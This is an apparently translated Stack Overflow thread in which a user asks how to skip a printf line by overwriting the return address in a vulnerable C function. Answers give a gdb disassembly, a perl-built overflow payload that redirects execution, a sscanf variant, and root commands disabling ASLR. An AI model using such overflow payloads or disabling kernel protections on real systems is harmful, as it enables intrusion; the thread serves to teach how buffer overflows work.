Код C, как изменить обратный адрес в коде?

Я только что написал код C, который ниже:

#include<stdio.h>
#include<string.h>


void func(char *str)
{
        char buffer[24];
        int *ret;
        strcpy(buffer,str);
}

int main(int argc,char **argv)
{
        int x;
        x=0;
        func(argv[1]);
        x=1;
        printf("\nx is 1\n");
        printf("\nx is 0\n\n");
}

Подскажите, пожалуйста, как пропустить строку printf("\nx is 1\n");. Раньше подсказка, которую я получил, состояла в том, чтобы изменить переменную ret, которая является адресом возврата функции func.

Можете ли вы предложить мне, как изменить адрес возврата в приведенной выше программе, чтобы printf("\nx is 1\n"); был пропущен.

Я задал этот вопрос, потому что не знаю, как изменить обратный адрес.

Было бы здорово, если бы вы мне помогли.

Спасибо


person Santosh V M    schedule 04.04.2011    source источник
comment
Опасность! Это, вероятно, не то, что вы хотите сделать. Это доставит вам ОЧЕНЬ много проблем.   -  person Talljoe    schedule 04.04.2011
comment
Ваш код не имеет смысла... что вы пытаетесь сделать?   -  person Brian Roach    schedule 04.04.2011
comment
Кроме вредоносного кода, никому не нужно делать то, что вы просите. Пожалуйста, придумайте другой дизайн.   -  person    schedule 04.04.2011
comment
Непонятно, что вы хотите сделать. Вы хотите иметь отдельную программу для этого? Мы говорим об эксплуатации программного обеспечения? Шеллкод? Это так опасно strcpy(buffer,str); `   -  person karlphillip    schedule 04.04.2011
comment
Вы в основном пытаетесь выполнить что-то вроде «отложенного перехода» - удачи. И наслаждайтесь всеми принудительными сбоями, которые вы собираетесь создать, пытаясь заставить это работать.   -  person Marc B    schedule 04.04.2011
comment
Либо вы новичок, в таком случае поищите if в хорошей книге для начинающих, либо вы пытаетесь сделать что-то очень умное. К сожалению, чрезвычайно умные вещи никогда не бывают умными в долгосрочной перспективе.   -  person Lindydancer    schedule 04.04.2011
comment
Вы пытаетесь сделать что-то похожее на это?   -  person jschmier    schedule 04.04.2011
comment
@Santosh Был ли дан ответ на этот вопрос?   -  person karlphillip    schedule 24.12.2013


Ответы (3)


Насколько я понимаю, вы хотите, чтобы код выполнил инструкцию x=1;, а затем перепрыгнул через следующий printf, чтобы он печатал только x is 0. Это невозможно сделать.

Тем не менее, что можно сделать, так это заставить func() стереть свой собственный адрес возврата, чтобы код сразу переходил к printf("\nx is 0\n\n");. Это также означает перепрыгнуть через x=1;.

Это возможно только потому, что вы отправляете в func() все, что передается через строку cmd, и копируете непосредственно в буфер фиксированного размера. Если строка, которую вы пытаетесь скопировать, больше, чем выделенный буфер, вы, вероятно, в конечном итоге повредите стек и, возможно, перезапишите адрес возврата функции.

На эту тему есть отличные книги, такие как эта. и я рекомендую вам прочитать их.

Загрузив ваше приложение на gdb и разобрав основную функцию, вы увидите что-то похожее на это:

(gdb) disas main
Dump of assembler code for function main:
0x0804840e <main+0>:    lea    0x4(%esp),%ecx
0x08048412 <main+4>:    and    $0xfffffff0,%esp
0x08048415 <main+7>:    pushl  -0x4(%ecx)
0x08048418 <main+10>:   push   %ebp
0x08048419 <main+11>:   mov    %esp,%ebp
0x0804841b <main+13>:   push   %ecx
0x0804841c <main+14>:   sub    $0x24,%esp
0x0804841f <main+17>:   movl   $0x0,-0x8(%ebp)
0x08048426 <main+24>:   mov    0x4(%ecx),%eax
0x08048429 <main+27>:   add    $0x4,%eax
0x0804842c <main+30>:   mov    (%eax),%eax
0x0804842e <main+32>:   mov    %eax,(%esp)
0x08048431 <main+35>:   call   0x80483f4 <func>     // obvious call to func
0x08048436 <main+40>:   movl   $0x1,-0x8(%ebp)      // x = 1;
0x0804843d <main+47>:   movl   $0x8048520,(%esp)    // pushing "x is 1" to the stack
0x08048444 <main+54>:   call   0x804832c <puts@plt> // 1st printf call
0x08048449 <main+59>:   movl   $0x8048528,(%esp)    // pushing "x is 0" to the stack
0x08048450 <main+66>:   call   0x804832c <puts@plt> // 2nd printf call
0x08048455 <main+71>:   add    $0x24,%esp
0x08048458 <main+74>:   pop    %ecx
0x08048459 <main+75>:   pop    %ebp
0x0804845a <main+76>:   lea    -0x4(%ecx),%esp
0x0804845d <main+79>:   ret    
End of assembler dump.

Важно, чтобы вы заметили, что подготовка ко второму вызову printf начинается с адреса 0x08048449. Чтобы переопределить исходный адрес возврата func() и заставить его перейти к 0x08048449, вам придется писать больше, чем char buffer[24];. В этом тесте я использовал char buffer[6]; для простоты.

Находясь в gdb, если я выполню:

run `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`

это успешно переопределит буфер и заменит адрес возврата адресом, на который я хочу перейти:

Starting program: /home/karl/workspace/stack/fun `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`

x is 0


Program exited with code 011.
(gdb)

Я не буду объяснять каждый шаг, потому что другие уже сделали это намного лучше, но если вы хотите воспроизвести это поведение непосредственно из командной строки, вы можете выполнить следующее:

./fun `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`

Имейте в виду, что адреса памяти, которые сообщает вам gdb, вероятно, будут отличаться от тех, которые я получил.

Примечание: чтобы этот метод работал, вам сначала нужно отключить защиту ядра. Но только если приведенная ниже команда сообщает что-либо отличное от 0:

cat /proc/sys/kernel/randomize_va_space

чтобы отключить его, вам понадобится доступ суперпользователя:

echo 0 > /proc/sys/kernel/randomize_va_space
person karlphillip    schedule 04.04.2011
comment
Можете ли вы объяснить, как вы написали следующее: print 123456AAAAAAAAx1,\x49\x84\x04\x08 - person Amit; 19.04.2014

Адрес возврата из func находится в стеке, рядом с его локальными переменными (одна из них — buffer). Если вы хотите перезаписать адрес возврата, вы должны написать за конец массива (возможно, до buffer[24...27], но я, вероятно, ошибаюсь - может быть buffer[28...31] или даже buffer[24...31], если у вас 64-битная система). Я предлагаю использовать отладчик, чтобы узнать точные адреса.

Кстати, избавьтесь от переменной ret — вы ничего не добьетесь, имея ее рядом, и это может запутать ваши расчеты.

Обратите внимание, что этот «эксплойт переполнения буфера» немного сложно отлаживать, потому что strcpy прекращает копирование материала, когда встречает нулевой байт, и адрес, который вы хотите записать в стек, вероятно, содержит такой байт. Легче будет сделать это так:

void func(char *str)
{
    char buffer[24];
    sscanf(str, "%x", &buffer[24]); // replace the 24 by 28, 32 or whatever is right
}

И укажите адрес в командной строке в виде шестнадцатеричной строки. Это делает более понятным то, что вы пытаетесь сделать, и упрощает отладку.

person anatolyg    schedule 04.04.2011

Это невозможно - было бы возможно, если бы вы знали компилятор и то, как он работает, сгенерированный код ассемблера, используемые библиотеки, архитектуру, процессор, системную среду и номера лото завтрашнего дня - и если бы у вас было это знания, вы были бы достаточно умны, чтобы не спрашивать. Единственный сценарий, в котором это имеет смысл, — это когда кто-то пытается провести какую-то атаку, и не ждите, что кто-то захочет вам в этом помочь.

person flolo    schedule 04.04.2011
comment
Я думаю, что важно понимать, как работает переполнение буфера, особенно если вы программируете на C, поэтому помощь важна! - person anatolyg; 04.04.2011
comment
Мне пришлось поискать, но, похоже, все согласны с тем, что черные вопросы — это нормально. Невозможно установить намерение, поэтому просто предположим, что вопросы об эксплойтах безопасности имеют за собой оборонительные цели. См.: здесь и здесь< /а>. - person jschmier; 04.04.2011
comment
@anatolyg: Может быть, может быть, это не приводит к переполнению буфера, это сильно зависит от используемой архитектуры - представьте себе гарвардскую архитектуру или новый механизм защиты от сбоя стека, компилятор может встроить его (или полностью оптимизировать), так много возможностей, поэтому бессмысленный вопрос . На мой взгляд, когда он хочет что-то узнать о переполнении буфера, он должен спросить об этом. - person flolo; 04.04.2011
comment
Некоторые из нас могут пытаться понять, как это работает, чтобы действительно исправлять ошибки. Не все злонамеренны. - person Brian White; 17.05.2017